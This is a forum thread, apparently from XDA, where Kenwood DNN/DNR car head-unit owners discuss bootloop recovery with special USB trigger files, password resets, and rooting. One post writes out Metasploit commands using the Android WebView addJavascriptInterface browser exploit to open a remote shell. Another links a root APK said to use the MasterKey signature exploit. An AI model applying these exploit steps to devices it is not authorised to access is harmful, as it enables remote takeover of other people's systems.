yashsingh1/xdaforums huggingface dataset:
[Android Head-Units] pflughaupt:
So I have a DNN991HD that is doing the system rebuilding loop. I see where different people have commented that you can fix this with a couple files but no procedure or sequence has actually been laid out. Also I cannot find the "delete_data" file anywhere. Help is appreciated as I am lost as to just junk the unit and start over new or if there is a reasonable fix to this. I do not use this vehicle a lot so pretty disappointed that it "crashed" so soon. Thanks in advance!!
[Android Head-Units] Metoposcopy:
Sell it quick... piece of crap
[Android Head-Units] denzfarid:
ROOTED DNR 935WBT

Worked! thank you chris i use kenwood DNR935WBT

i use metasploit v4.14.4-dev comunity edition

i change LPORT to 81, if i use 4444 dont work for me

this my configuration

use exploit/android/browser/webview_addjavascriptinterface

set LHOST <IP.ADDR>

set URIPATH z

set LPORT 81

exploit

sessions -i <id>

shell

i have problem with R/W /system

if i copy file in /system

/system always back to R/O

and i must reboot my kenwood

android auto avail in android 5.0+

for speed up kenwood i use swap file 128Mb

for 512MB

1024 * 512MB = 524288 block size

dd if=/dev/zero of=/sdcard/swap bs=1024 count=524288

for 128Mb

1024 * 128 = 131072

dd if=/dev/zero of=/sdcard/swap bs=1024 count=131072

chmod 0600 /sdcard/swap

mkswap /sdcard/swap

or

busybox mkswap /sdcard/swap

for enable it

open terminal emulator

su

swapon /sdcard/swap

see in free

busybox free
[Android Head-Units] denzfarid:
pls help my kenwood stuck in cwm recovery

i poweroff and still in cwm

cannot touch or button not function

update ---

i attach keyboard and sucsess

next problem ---

error : mount /sdcard/

where i can mount /sdcard/ in my kenwood dnr935 dont have ext sdcard
[Android Head-Units] utsc:
Can Android Auto be installed on Kenwood DDX-7035BT
[Android Head-Units] siralsmooth:
Android Auto is closed source, if you could jtag a Kenwood running it, and match the hardware, all the new Kenwood H/U are running Linux, could probably port and disable the switch that disables Android auto on any unit with less than a 7inch display.

But with out proper knowledge of Linux, jtagging, and coding a closed source platform, best of luck. And if the unit is 2+ years old, absolutely not as they're using Windows CE as the base core.
[Android Head-Units] ShowStar22:
Another one bites the dust

Just posting here because my Kenwood DNN992 just got the famous bootloop problem. Kenwood says to send it in but I have to pay for shipping...even though this is a common problem. Smh....
[Android Head-Units] siralsmooth:
It's gonna eventually happen, because Android doesn't properly shut down on the dnn units. My minipc setup for my Media hub in my carpc setup has gotten to that point twice in the 3 years I've had it running. Sad part is Kenwood doesn't even give dealers access to the tools/software needed to get the units functional again. Their handling of the Android units was a travesty.
[Android Head-Units] ShowStar22:
I was wondering why these units seemed to have the bootloop problem. I'm gonna end up sending it in to get it repaired / replaced. I agree with you 100% on them not giving the end users access to the developer tools to be able to fix this unit. I've always been a Kenwood fan but this problem has made me loose a little trust in them now.
[Android Head-Units] kwarwick:
If you haven't sent it in yet, and feel like trying some tech voodoo.... there are a few tricks that I've mostly forgotten from recovering my DNN990HD from the boot loop a few times. There are some special files that when placed on at USB key along with the latest firmware might help out. One was ".LONGFACE_13DNN" and the other is ".DELETE_DATA". Take a look back through this thread at posts around #191 for some ideas. Now since you have a DNN992, I'm not sure if ".LONGFACE_13DNN" would still be applicable, so you might need to try .LONGFACE_14 or 15 based on the name representing the generation of DNN (DNN990 came out in 2013, DNN991 came out in 2014 and DNN992 2015, IIRC).

Karl
[Android Head-Units] ShowStar22:
Thanks for the info man. It's a shame the software in these units are so poorly developed. I picked this one up on Amazon for $699.99 and there are not many other ones out there that include Garmin navigation. I'm highly considering selling this unit and getting a Pioneer Navigation unit. After putting a newer AVH series in replacement of this unit while its getting repaired I've noticed the software was so damn slow on my DNN. Night and day difference.
[Android Head-Units] siralsmooth:
The new Kenwood units with Android Auto/Apple car play are stupid fast and rock solid. They run native Linux so they mesh well with the Garmin, which is Linux based. And they don't have the slowing down issue like the older Windows CE based units that constantly built up an ever slowing cache. Just some food for thought.
[Android Head-Units] denzfarid:
plz help

hello sir, can you help me with my problem , my stereo car stuck on cyanogn recovery and sdcard canot mount

in here

thank you sir
[Android Head-Units] siralsmooth:
So you're trying to root and having issues, if so best of luck. Don't own not have I ever preformed root on a Kenwood DNN. If it's bone stock, send it to a service center for a reflash.
[Android Head-Units] denzfarid:
i try to flash cwm in stereo car, and, cwm cn't find my sdcard, my stereo not in stock recovery, yesterday i send my stereo to a service senter in jakarta, i hope my stereo can be used again, :(

so you have gapps android 4.0.4 for this stereo car?

update -

great! my stereo car back to normal and i root again :D

i need gapps for my DNR

but always read only filesystem /system
[Android Head-Units] cometinsonic:
2 device dnn992

I have 2 dnn992 devices, one works well and the other appears system rebiulding, copy the nand memory from the good equipment to the damaged computer and now only turn on the garmin logo and restart again, will someone have an idea why it does not work?

the good team still sogue working
[Android Head-Units] DaJunk991:
System rebuild?

First post and didn't know where else to put this.

I currently have a KENWOOD DNN991HD on my desk (bench testing) stuck in “System Rebuilding”… Before removing this HU, I tried resetting it via the reset button, disconnecting my vehicles battery etc.. On the bench while testing/troubleshooting I tried multiple times to update via usb. The only port that gives any recognition (power) is the WIFI receiver. I had a USB to Lan adapter powered up but that didn’t get me anywhere nor was it recognized in my Network. I also left it on all night to see if anything would change but unfortunately this thing is STUCK!

I am assuming the tapped off 8pin port at the rear of the HU is the access point for programming/diagnosis?

I have read many pages of this thread and I truly believe this is a software related issue.. NOTE: This device is NOT rooted. I bought this (refurbished) back in Feb2016 and updated the firmware without issue a few days after my install.

Today, (1/22/18) I spoke to KENWWOD Tech support and they also believe this is software related and can easily be repaired.. However, after calling the repair facility (which is in a different state) the lady I spoke with (very unfriendly and pushy sounding sales rep) said “It’s probably going to need parts, usually all units need parts and not just programming!”… With that being said, I don’t trust this place (or her) and don’t want to be wasting my money… Not to mention, the lowest price this would cost me after shipping both ways and if only the repair is programming would be about $175..

If anyone lives near the Chicagoland area

, have the programming skills and cables to perform such a task, I’d be more than willing to PAY for one’s service? :confused:

I would also like to point out I am a DIY person. I have plenty of electrical diagnostics experience (i.e. soldering/reflow, electronic repairs). I am computer friendly and have rooted several phones and made repairs as well. However, I am not a programmer and do not know how to write code..

If available, with the proper instructions and/or software, I am sure I can make this happen.. I would happy to contribute to the site or send money to one, or, group of individuals who can help me get this back up and running again..

I have many different adapters /cables etc.. From a 500ft spool of Cat6, connectors and tooling, I have hardwired my entire house and garage with a wired Network. All my phones and kids tablets are hardwired when we are in our house so I have many USB, OTG cables/connectors and lan adapters.

My last resort is to sell it as is and move on to another HU. I refuse to pay KENWOOD for something that is being repaired via a cable and a program and that this can happen again (If this is software related?)!

Regards,

Dan
[Android Head-Units] DaJunk991:
Anyone? :(
[Android Head-Units] tibimakai:
radux.m.dan helped me out once, with a rebuilding issue. It took us a couple weekends over Skype, though.

It seems like, something gets corrupted and can't boot up.

We have used a USB to Serial adapter, and ribbon cable/board adapter, I believe, that it's shown in this thread, further (way)back and connected it, to the internal board of the 990, than we have used Putty, opened a terminal and typed a bunch of Linux stuff in there and after many tries, eventually started working.

I'm not good at this, so I can't help you with this issue.

I would like to know, how to do it, because there are many units out there, with this issue.

I'm surprised, that nobody made a diy on this subject, yet.
[Android Head-Units] mendezjonathan:
I have a problem with the unit DNN991, is the following I can not enter the operating system

I have done the reset for the red triangle but the unit continues entering the menu..

the person who sold me the unit told me the password of the user and with this user and password I enter the "route collector" page, but I can not access the system of the unit ..

It tells me that the password is incorrect or the service is not active.

I have asked the Kenwood service and they tell me that I must take the unit to the technical service so that with a code they can restart the unit.

Is it possible to access the system in another way?

Do you have another way of hard reset?
[Android Head-Units] jbeavis19:
You could try doing a software update to the latest is (even if you already have it) that might allow you to set a new password. It's been a while so I don't remember if it will or not.
[Android Head-Units] mendezjonathan:
thanks for answering ... the problem is that to be able to do the reset and update the sofwarwe it is necessary to enter something that I can not do ..

I have an account created by the previous owner and this is not accepted by the unit
[Android Head-Units] siralsmooth:
Here's the user data clear. Should work on all dnn units. But I can't guarantee. My former Kenwood super tech helped me a while back and shared this with me. And they eliminated his position, so screw em and their garbage support of this unit. Hope this helps you.

Add the 3 attached items to a blank USB (2-8GB).
[Android Head-Units] mendezjonathan:
hello thank you very much for sharing that info with me .. I have put the files in a memory .. but how do I use these files?

because my unit does not let me enter the android system ..
[Android Head-Units] VenomousSVT:
funny... 7 zip doesnt touvh it for me
[Android Head-Units] sshams95:
Change file extension to .ZIP
[Android Head-Units] donaldta:
.

You don't even have to do that. Just right-click the file, select 7-zip from the context menu then Open Archive. Even though 7-Zip may not be registered to some of the applicable zip filestype; like apk, jar, ipa, etc... it still can "open the archive" if the file complies to compression standards of a zip file.
[Android Head-Units] WonderEkin:
Hi, I've repack the AN-21 U root apk to DNN(base on firmware DNN Ver1.4)

https://drive.google.com/file/d/0BwKObTKUOwAqRWsxMVliUUxVVHc/edit?usp=sharing

Steps:

1) Install & open the app

2) Click Step1, adb debug should be enabled. Temp root on next reboot

3) Reboot the device then open the app again

4) Click Step2, to root the device

5) Reboot and done
[Android Head-Units] kwarwick:
Will this be allowed to run by a stock DNN? Anytime I've tried to copy in an .apk file it has complained it was not from google marketplace and refused to run it.
[Android Head-Units] WonderEkin:
go settings, security, check the "unknown sources"
[Android Head-Units] kwarwick:
Except that option is absent under security with the DNN series. This has been the biggest barrier to installing anything new on these devices.

So I have to ask, have you tried this RootMyDNN.1.4.apk on an actual unit or is this theoretical?
[Android Head-Units] WonderEkin:
No, I haven't tried. But the same package works on AN21-U
[Android Head-Units] donaldta:
Incidentally, the AN-21 U didn't have the developer options available to it either. WonderKin's apk uses MasterKey exploit to disguise itself as a system package with one of the system apks from the firmware archive that has privileged access. So, it is worth a try on the Kenwood DNN990HD. Unless of course, those of you with the Kenwood unit do not want to have root access.
[Android Head-Units] kwarwick:
So what you're saying is this .apk should run because it has been disguised such that the system shouldn't complain that it was installed outside of google marketplace? I'll take a look for sure.

I'm trying to figure out what to do once we have root, though. The problem is there is no usb port to use for adb (the existing usb ports are only for attaching devices, not hosts), so you can't usb to copy files onto it. I think what is needed is to be able to do is replace the settings.apk with one that has the security "unknown sources" checkbox. Once that's enabled we can copy in any program we want and go to town.
[Android Head-Units] donaldta:
Doesn't Kenwood have WiFi access? Because then you can use ADB over WiFi once you have root.

Btw, the settings.apk file is probably is the same as any other Android device, the menus items are dependant on how the ROM is built. Some of it is dependant on the build.prop file while others are dependant to the features that it can find through dumpsys.
[Android Head-Units] kwarwick:
I thought about ADB over WiFi too, but it looks like you need to enable ADB over TCP via command line on the Android device to get that working, or does this Root apk do that for you?
[Android Head-Units] donaldta:
I'm not sure, one of the older versions (v1.3) of his APK enabled ADB over WiFi for the AN-21 U but I'm not sure if it is available in the version he created for you. I'd guess that it does just in case it rooting couldn't be facilitated through the "Step 1" and "Step 2" buttons on screen. But, this of course, one of those things which may take time and bouncing feedback back to him. It took four tries to get it just right for th AN-21, so hopefully the groundwork is already laid out for you guys. Good luck!
[Android Head-Units] sshams95:
Ok, so how do we run the APK? Put on USB stick and navigate to the file?
[Android Head-Units] kwarwick:
Making it available on a web server and bringing it in via the browser is the way I tried previously.
[Android Head-Units] mike2246:
I tried to DL from dropbox and it wouldn't run.

I'm with everyone else. I'll kick in some money if a developer can get us Root
[Android Head-Units] Luomlds:
DNN990HD

Yes. I can not pair my phone calling or any normal phone functions. All I can do with my Bluetooth is play my music and the Pandora icon shows. No phone icon. I downloaded 1.4.0 and still no go. Please help me or us.
[Android Head-Units] kwarwick:
Wouldn't run for me either.
[Android Head-Units] donaldta:
Since it seems it the apk cannot be installed via HTTP, can you try injecting this APK as you've done in the past into /system/app to see if it will pass the signature detection? Again, this APK is supposed to disguises itself as a system app so it might pass verification. If not then it is possible that you'll need to resign the update.
[Android Head-Units] chris.davis925:
Hey guys any update on this?

It's not clear to me - is it possible for us to change update.zip and resign it without knowing the signing key?
[Android Head-Units] 2knob:
These are the steps Kenwood sent me for wiping my dnn992

Only extract the (2) folders labeled ".Delete_Data.zip" and ".Longface_15DNN.zip". When you extract each of these folders, files named ".DELETE_DATA" and ".LONGFACE_15DNN" will be available. Be sure to format the USB to FAT32 prior to placing the files onto it. Keep in mind that a format will delete all information currently on the USB.

Copy the 2 files (.DELETE_DATA" and ".LONGFACE_15DNN) into a USB flash drive along with the zip folder labeled "update.zip".

Do not extract the "update.zip" folder. The USB flash drive should now contain 2 files (.DELETE_DATA" and ".LONGFACE_14DNN) and one zipped folder (update.zip) only.

Connect the USB flash drive to the unit and it should start automatically.

The update should take a few minutes. Be sure to connect the USB flash drive to the USB port, not the iPod or WiFi port.
[Android Head-Units] mendezjonathan:
hello thank you for the detailed explanation

I have placed on the disk formatted with fat 32 and the files but I have not obtained the expected results ..

I sent you a video of the procedure to obey the steps followed ..

http://www.youtube.com/watch?v=lc8gjGOPvwU

---------- Post added at 09:25 PM ---------- Previous post was at 09:16 PM ----------

hello thank you for the detailed explanation

I have placed on the disk formatted with fat 32 and the files but I have not obtained the expected results ..

I sent you a video of the procedure to obey the steps followed ..

http://www.youtube.com/watch?v=lc8gjGOPvwU[/QUOTE]
[Android Head-Units] jbeavis19:
I had trouble getting files like this to work when my thumb drive was too big; look at the size of the files you putting on it and format the thumb drive so it's just a bit bigger instead of the whole Drive.
[Android Head-Units] siralsmooth:
Android is the only operating system in the dnn units. Those files should trigger the reset sequence automatically when on a flash drive between 2-8gb, only files on drive as well. Simply copy and plug in, unit should reboot and wipe.
[Android Head-Units] jbeavis19:
If everything is set up properly all you have to do is put the thumb drive in the unit before you turn it on. Everything else will happen automatically.
[Android Head-Units] mendezjonathan:
It worked as follows

rename the file

.LONGFACE_15 to .LONGFACE_14

Explanation

my unit is DNN991 is a unit of the year 2014

the files presented are for units DNN992 year 2015

I am very grateful to you for having helped me with this unit.

I have saved 150 $ haha :good:
[Android Head-Units] siralsmooth:
Happy to hear. Sucks Kenwood crippled these units, definitely had higher hopes.
[Android Head-Units] Peter_Ang:
What is the possibility of modding Kenwood 2017 DDX series in particular DDX917WS with built-in WiFi (2.4/5GHz) to work with Android Auto Wireless? The built-in WiFi currently only supports Air Mirroring aka Miracast. I don't see much hardware difference between 2017 and 2018 models that support Android Auto Wireless other than 800x480 vs 1024x720.

Edit: DDX917WS already supports Android Auto via USB out of the box.
[Android Head-Units] siralsmooth:
All of Kenwoods a/v headunits run Linux, and have for the last 2-3 years, less the dnn units. As for modding, unless someone working at a service center wants to leak some pinouts, or software, I wouldn't get your hopes up.

As noted in the XDA news, there's an alpha build with instructions on how to get wireless Android auto working on *any AA equipped unit, extra hardware required. Really sucks they killed the HDMI input, as that was the key for casting and Apple products via the adapter.
[Android Head-Units] Peter_Ang:
Yeah Emil has done an amazing job and I'm closely following his thread.

However, it's such a waste not being able to use the built-in WiFi module to do the same as it would mean no battery, power and boot time issue. I'm not getting my hopes high too that Kenwood will make loyal customers out of existing owners by providing the firmware upgrade because they released 2018 APAC models that have equivalent hardware specs as the US wireless AA capable ones WITHOUT wireless AA support too DUH! Wireless CarPlay is also not supported. However, Pioneer who traditionally lags behind Kenwood in terms of features and specs (at least for APAC region) now supports both wirelessly for the 2018 models and with capacitive screens too like Kenwood.

2017 models did not have the 2016 models WiFi dongle port (HDMI?) because the WiFi modules are built-in. Both dongle and module support Android and iOS (requires unofficial patch) Air Mirroring. For the 2018 models, HDMI made a comeback despite the WiFi modules also built-in.

Kenwood supports sucks in my region so yeah probably a dead end looking for solutions.
[Android Head-Units] siralsmooth:
This year they removed the HDMI port, which they had on the last 2 model years. Just a step backwards. SMH. As for the new ones supporting wireless AA, that's only in phones that support it, like the pixel. Emil may be on to something with his server app possibly allowing other phones to get a feature that they otherwise wouldn't have received. Only time will tell tho.
[Android Head-Units] tibimakai:
Siralsmooth, this user data delete, will "fix" only units with a password on them right(?), but it won't fix the reboot/rebuilding issue?
[Android Head-Units] siralsmooth:
Yeah, just removes the password. When they do the rebuilding loop, one of two things can happen, put the update file on a USB and pray it recovers, or accept that the main memory has gone corrupt and the unit is done.
[Android Head-Units] tibimakai:
Once Radu M helped me with one, and we made it work. USB to serial adapter, Putty and a bunch of Linux commands. It was fixed, but unfortunately, I don't know those commands.
[Android Head-Units] donjon677:
Do you still have these files? I desperately need them if you still have them. It would be much appreciated if I can get them from you so I can hopefully restore my bootlooped DNN992.
[Android Head-Units] jbeavis19:
They are empty files with the names you posted. You can create them yourself start with a blank text document, rename them, and remove the file extension. In Windows you will have to turn on visibility of file extensions before you can remove them. If the icon still looks like a text document you didn't remove the extension yet.
[Android Head-Units] donjon677:
Thanks for responding on such an old thread :). I have tried this on a good working DNN992 and it don't see anything happen. I have tried this on the bootlooping one and it appears to not do anything as well. I have made sure to keep the partition a reasonable size (4GB) and made sure the stick is plugged into the USB cord. I also keep the period in front of the filename. Do I need to remove the period? Also does the zipped update file need to be named update.zip or can it just be the default name for the update downloaded directly from kenwoods website? Thanks again for your help

---------- Post added at 01:33 PM ---------- Previous post was at 12:36 PM ----------

I finally got it working on my good working DNN992. I can't get it to work on my bootlooping one. It's like there is nothing flagging it to boot to the USB stick or even enumerate the USB port. Please let me know if you have any advise on what I can do. I don't want to send this one in if I can avoid it.
[Android Head-Units] jbeavis19:
4 gb might be too big, also did you try both USB ports? Not sure if it matters but some head times are funny about which port.
[Android Head-Units] donjon677:
4GB works on the good unit so I think we are good there. I haven't tried the other USB port, I will give that a go but I'm starting to get interested in getting a serial port up and talking... I just have to find out how to do that on this thread. so many pages LoL
[Android Head-Units] donjon677:
Anyone know how to enable Wi-Fi adb on these head units?